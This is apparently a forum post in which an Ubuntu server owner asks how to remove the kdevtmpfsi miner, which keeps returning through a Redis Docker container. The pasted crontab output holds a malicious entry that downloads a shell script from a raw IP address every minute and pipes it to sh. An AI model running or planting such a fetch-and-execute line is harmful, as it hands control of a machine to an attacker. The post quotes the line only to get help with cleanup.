My Ubuntu server has been infected by a virus kdevtmpfsi, I have already done serveral steps to solve this problem, like all of these: https://github.com/docker-library/redis/issues/217.
But it is still coming again and again when docker container with redis is running.
But there is stil one thing that I could not do, when I run the command for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
to see all users crontab, this is my output:
no crontab for gdm
fabio
* * * * * wget -q -O - http://195.3.146.118/unk.sh | sh > /dev/null 2>&1
debian-tor
no crontab for debian-tor
deploy
no crontab for deploy
redis
no crontab for redis
There is a suspect job in crontab using wget
to download a sh
script, I cannot find how to delete this, and I am not sure if this will come back again when I turn on docker container with redis.
Look at the image above, the "user" that is running this virus is a user "999" I have no idea how this is possible because this user does not exist.
What could I do to solve this?